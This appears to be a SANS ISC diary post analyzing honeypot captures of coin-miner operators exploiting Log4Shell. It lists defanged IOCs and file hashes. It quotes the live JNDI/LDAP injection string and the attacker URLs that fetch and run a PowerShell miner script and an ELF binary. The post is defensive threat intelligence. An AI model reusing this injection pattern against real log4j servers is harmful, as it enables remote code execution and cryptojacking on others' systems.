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SANS ISC InfoSec Forums

Analyzing the ISC honeypots' requests, I found out that coin miners just included Log4Shell into their arsenal. 

The request that hit our honeypot is trying to make vulnerable log4j load the address 'jndi:ldap://45[.]83.193.150:1389/Exploit'. This will make log4j load and instantiate a malicious payload hosted at 'http://31[.]220.58.29/Exploit.class'.

I could find the payload address by doing a JNDI lookup, just like log4j does, then getting the class name and address by the returned reference object. To do so, I created a simple tool that is available on GitHub. 

After decompiling the malicious class using fernflower, I could see the following code.

Depending on the targeted operating system, the code will download and execute codes hosted on different locations.

At http://172[.]105.241.146:80/wp-content/themes/twentysixteen/s.cmd, which will be loaded in the case of Windows SO, there is a Powershell script to download and execute a coin miner, as seen below.

For not Windows operating systems, the malicious class will download and execute an ELF binary hosted at http://18[.]228.7.109/.log/log. Although I suspect it's also a coin miner, the ELF file is yet to be analyzed.

Bojan and Johannes wrote about Log4Shell here and here, respectively. 

IOCs

Network

ldap://45[.]83.193.150
http://31[.]220.58.29
http://172[.]105.241.146
http://18[.]228.7.109
 

Files (MD5 and SHA256 hashes)

ceb9a55eaa71101f86b14c6b296066c9  pty3
4c97321bcd291d2ca82c68b02cde465371083dace28502b7eb3a88558d7e190c  pty3

f6e51ea341570c6e9e4c97aee082822b  Exploit.class
eb76b7fb22dd442ba7d5064dce4cec79e6db745ace7019b6dfe5642782bf8660  Exploit.class

c717c47941c150f867ce6a62ed0d2d35  xmrig.exe
e8b2a8d0c3444c53f143d0b4ba87c23dd1b58b03fd0a6b1bcd6e8358e57807f1  xmrig.exe

1718956642fbd382e9cde0c6034f0e21  s.cmd
c70e6f8edfca4be3ca0dc2cfac8fddd14804b7e1e3c496214d09c6798b4620c5  s.cmd

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Renato Marinho
Morphus Labs| LinkedIn|Twitter